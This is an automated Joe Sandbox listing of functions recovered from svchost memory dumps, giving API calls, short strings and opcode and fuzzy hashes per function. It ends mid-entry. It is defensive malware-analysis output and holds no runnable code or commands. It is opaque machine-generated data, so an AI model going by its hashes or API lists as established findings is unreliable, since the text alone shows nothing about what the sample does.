Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 94d9e67a34e61d90d8dc91a526529cd9d217a7a82295564c3aa49440afe65ca8
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 79810230F0064187FA50AB69984D39966ECAB87F82F1C44249A8B73396DF3DC84D8783

Function 000002A661309DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002A661309E49
GetLastError.KERNEL32 ref: 000002A661309E57
LoadLibraryExW.KERNEL32 ref: 000002A661309E81
FreeLibrary.KERNEL32 ref: 000002A661309EC7
GetProcAddress.KERNEL32 ref: 000002A661309ED3

Strings

api-ms-, xrefs: 000002A661309E69

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 50e13fa17c3bf59197d400e801c98b0be272adff0d23520052f25ab3404dd5bc
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 3F319021B12A40A3EE11DF46A80C76562DCB74AFA1F5D05259D1F6B790DF3DC849C392

Function 000002A661313DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002A661313DE5
GetLastError.KERNEL32 ref: 000002A661313DF1
CloseHandle.KERNEL32 ref: 000002A661313E09
CreateFileW.KERNEL32 ref: 000002A661313E34
WriteConsoleW.KERNEL32 ref: 000002A661313E53

Strings

CONOUT$, xrefs: 000002A661313E15

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: ff65df3e6d8c9de4419cb773b33199b337b810cada23280e1cd4933ea371c746
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 8A116D32B14B8087E7509B52E84D31976B8F78AFE4F084224EA5F97794CF7CC8188781

Function 000002A661303790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A66130379E
GetCurrentProcess.KERNEL32 ref: 000002A6613037CC
VirtualProtectEx.KERNEL32 ref: 000002A6613037EE
GetCurrentProcess.KERNEL32 ref: 000002A661303809
VirtualProtectEx.KERNEL32 ref: 000002A66130382A

Strings

wr, xrefs: 000002A6613037FF

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 025d1bc40c232432275dae4ecc1318edf57f0e1ebcf64f5229914e418f725714
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: F8115B76B04B8187EF149B62E40C66976B8FB8AF85F480029DE8E17794EF3DC609C705

Function 000002A661305B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305B6B
GetThreadContext.KERNEL32 ref: 000002A661305CD5

Part of subcall function 000002A661305960: GetCurrentThreadId.KERNEL32 ref: 000002A661305964

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 5f5900bbcb72c6ae03449aabeaeaebc51276a3d35255987f9de81e93377eb069
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 3BD1B836604B8882EA70DB0AE49835A77F4F389F85F144216EACE57BA5CF3DC545CB81

Function 000002A661302F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A661302F27
HeapAlloc.KERNEL32 ref: 000002A661302F3A
StrCmpNIW.SHLWAPI ref: 000002A661302FAF
GetProcessHeap.KERNEL32 ref: 000002A661303015
HeapFree.KERNEL32 ref: 000002A661303023

Strings

dialer, xrefs: 000002A661302FA8

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 0dbaea95a655bbe900e3289c597c93d81e3b199630ae2b61a37e5e2c9be7583f
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: AA31BF32B01B5183EA10DF66A64C76A67E8FB46FC5F0C40249E4A17B55EF3CC4A98381

Function 000002A66130CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002A66130CFAF
FlsSetValue.KERNEL32(?,?,?,000002A66130D6B5,?,?,?,?,000002A66130D778), ref: 000002A66130CFE5
FlsSetValue.KERNEL32(?,?,?,000002A66130D6B5,?,?,?,?,000002A66130D778), ref: 000002A66130D012
FlsSetValue.KERNEL32(?,?,?,000002A66130D6B5,?,?,?,?,000002A66130D778), ref: 000002A66130D023
FlsSetValue.KERNEL32(?,?,?,000002A66130D6B5,?,?,?,?,000002A66130D778), ref: 000002A66130D034
SetLastError.KERNEL32 ref: 000002A66130D04F

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 0c3f37101a929da6b2ab2e1659a4edb589a4527edbf683f148d599b530f189ca
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A4116020B0028443FA64A7315A5D72962DE6B86FF1F1C4724A937676D6DF6C84098783

Function 000002A66130199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002A6613019C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002A6613019E0
PathFindFileNameW.SHLWAPI ref: 000002A6613019EF
lstrlenW.KERNEL32 ref: 000002A6613019FB
StrCpyW.SHLWAPI ref: 000002A661301A0E
CloseHandle.KERNEL32 ref: 000002A661301A1C

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 471f3759c9f5d2bef42bfea3fd4cb3963e2dd95c959e6c4d1128e52080657580
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: C4015771B00A8083EA50DB92A85C35AA3A9F789FC5F884035DE8A63764DF7CC98DC741

Function 000002A6613036C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A6613036E4
GetCurrentProcess.KERNEL32 ref: 000002A6613036F2
VirtualProtectEx.KERNEL32 ref: 000002A661303714
GetCurrentProcess.KERNEL32 ref: 000002A661303732
VirtualProtectEx.KERNEL32 ref: 000002A661303753
TerminateThread.KERNEL32 ref: 000002A661303762

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 79ca0cd446847db94c87b220a4133f292dc0ecc6b103301cedece9ec62c6ad04
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: B8011BB5B15B8087EB249B62E80D71972B8BB46F86F080424CA4A27754EF7DC50CC742

Function 000002A661309005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A661309013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6613090A8
RtlUnwindEx.NTDLL ref: 000002A6613090F7

Strings

f, xrefs: 000002A661309026
csm, xrefs: 000002A66130908E

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 077875c1ecc3ba653c40cf27df437926aa55189474758356bf14258b29207a20
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: AC517C32B0160087EB18DF15E84CB5937DAF346F99F198528DA5B63788EF79C849C782

Function 000002A661308FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A661309013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6613090A8
RtlUnwindEx.NTDLL ref: 000002A6613090F7

Strings

f, xrefs: 000002A661309026
csm, xrefs: 000002A66130908E

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: ba38e771323935cd7c4c993903e564a77b026bca2c24c40e091b995464114721
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 39315432B0064087E714DF12E84CB1977A9F386F89F0A8418EA5B23789DF79C948C786

Function 000002A661301A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002A661301A60
StrCmpNIW.SHLWAPI ref: 000002A661301A7A
lstrlenW.KERNEL32 ref: 000002A661301A89
StrCpyW.SHLWAPI ref: 000002A661301A9E

Strings

\\?\, xrefs: 000002A661301A6E

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: b1b7e669e6661b3feae12b7b33b5b685191a7800304716cf001d880ba287570f
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 07F08C72B0468083FB208B60E88C35A63B9F749F88F888024DA4A57964DF6CC68DCB01

Function 000002A661303044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002A661303066
StrCpyW.SHLWAPI ref: 000002A661303076
StrCatW.SHLWAPI ref: 000002A661303082
PathCombineW.SHLWAPI ref: 000002A661303090

Strings

\\.\pipe\, xrefs: 000002A66130305C

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: cf77e8b58ec68dbf932fe7d168add0dfe5d0c02535d993d737ff7324a50749b0
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 65F08CA0B04BC083EA008B93B90D119B2A9AB4AFC0F0C8430EE4B27B28DF7CC44D8701

Function 000002A66130BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002A66130BCBD
GetProcAddress.KERNEL32 ref: 000002A66130BCD3
FreeLibrary.KERNEL32 ref: 000002A66130BCFA

Strings

mscoree.dll, xrefs: 000002A66130BCB4
CorExitProcess, xrefs: 000002A66130BCCC

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: e21ae87d0ac0485e57b5ed7f78d9bcfc49820b6887902ab70198c3f652ea4012
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 24F06275B1164583EF108B64E84D3597368EB86F61F5C4619CA6B5B1E8CF6CC14DC341

Function 000002A6613050D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305156

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 9fa3ce34b8c865c90ad51e3620c2008df4696012e5c82a0db968548b5f0cb8e8
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 1002E832A19B8487EB60CB55F49835AB7E4F3C5B91F140015EA8E97BA8DF7DC488CB41

Function 000002A661305710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305726

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 94fa4eeebce64f2b49e1f32bc3357c48cfb3c794009292f3f2d6159d2374f774
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: AE61F636A19B44C7E7608B15E44C31AB7E8F389B85F580115EA8E57BA8DF7CC548CF82

Function 000002A6612E3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A6612E352C
_set_statfp.LIBCMT ref: 000002A6612E3547
_set_statfp.LIBCMT ref: 000002A6612E3563
_set_statfp.LIBCMT ref: 000002A6612E359F

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 22cd65d3b8f6dd6f7d9b94902791a143805ac03df98696b6fd4da49aabfe5191
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F2118F22F10AD113FA649539F44D36911CD7B5FB76E4C8638A966073F68F2CCACD4202

Function 000002A661314104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A66131412C
_set_statfp.LIBCMT ref: 000002A661314147
_set_statfp.LIBCMT ref: 000002A661314163
_set_statfp.LIBCMT ref: 000002A66131419F

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 66361736f5e8a90f3f2d0b71ac309b0d3cb3498acf01c0f7b7fefb88f4f0f5d8
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F211A022F10A5123F6641568E95F369354C6B7BBBCF5C0634E977277E6CF2CC84A8202

Function 000002A6612DF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002A6612DF124

Strings

Tuesday, xrefs: 000002A6612DF0F4
Wednesday, xrefs: 000002A6612DF1ED
or copy constructor iterator', xrefs: 000002A6612DF25A, 000002A6612DF275

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 0bf1e752806efdf3d6918c8cb5621e3440e718aefe77ceb97043c9c5cc2f889e
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 80618E66F0024047FB658B75E54C32B66ADEB87F40F5D4519CA4A177A8DF3CC9CE820A

Function 000002A66130AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002A66130AA68
_CallSETranslator.LIBVCRUNTIME ref: 000002A66130AAB7

Strings

RCC, xrefs: 000002A66130AA85
MOC, xrefs: 000002A66130AA7C

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: af1233a52f56241061660763b27a88547fce862d6649db4ccb4df901e0d389cc
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 86614932B00B848AEB20DF65E44839D77E4F345B89F084215EE4A27BA8DF78C599C781

Function 000002A6612DA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612DA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A6612DA288

Strings

csm, xrefs: 000002A6612DA1C2
csm, xrefs: 000002A6612DA2DA

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 9e9e64640e33ee222bca170c8ee76b8c2aa3a2d202631a961c3e70975ee64d6a
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: CE515B32E042808BEBA48B26D44CB5877ADFB56F84F1C5116DA9987AE5CF7CD4D88702

Function 000002A66130AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A66130ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A66130AE88

Strings

csm, xrefs: 000002A66130AEDA
csm, xrefs: 000002A66130ADC2

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 71553aecd4e6c0be1a45bd4f8553e36c14cf70e2545c3f161416fa0a9a176b52
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 7F519272B002808BEB648F25A49C35977E8F356F86F1C4119DA8A67BE5CF7CD458C782

Function 000002A6612D8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6612D84A8

Strings

f, xrefs: 000002A6612D8426
csm, xrefs: 000002A6612D848E

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 8201e1b19b336b27b06942c19ab8646d026c506d3e7787226ca7cd4a84cb06ae
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4751AF32F112008BEB14CB15E40CB59379DFB52F98F9AA124DA064378CEF38D9C89706

Function 000002A6612D83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6612D84A8

Strings

f, xrefs: 000002A6612D8426
csm, xrefs: 000002A6612D848E

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: cefbc8a046af985220aa2329bd1f73024f30a7703efedaf0860a35be415e2574
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 94317A35B1168097E7149B21E84C75937ACFB42F88F5A9018EE5A03788DF3CC988D706

Function 000002A661312058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002A6613120D7
WriteFile.KERNEL32 ref: 000002A66131239F
WriteFile.KERNEL32 ref: 000002A6613123E5
GetLastError.KERNEL32 ref: 000002A66131249B

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: daab32c25a9fadadc3e1a32652520a2a78c62dababe1d4e9fdec7867a8e6883d
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 7AD1E332B14A808AE711CFB5D54939C3BB9F356B98F284215DE5AB7B99DF38C40AC341

Function 000002A6613014A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A6613014C5
HeapFree.KERNEL32 ref: 000002A6613014D4
GetProcessHeap.KERNEL32 ref: 000002A6613014E1
HeapFree.KERNEL32 ref: 000002A6613014F0
GetProcessHeap.KERNEL32 ref: 000002A661301500

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 921e1a85b60784aa0bba0433d9b0249e05675eea00effd83e5fc34bb76f58227
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
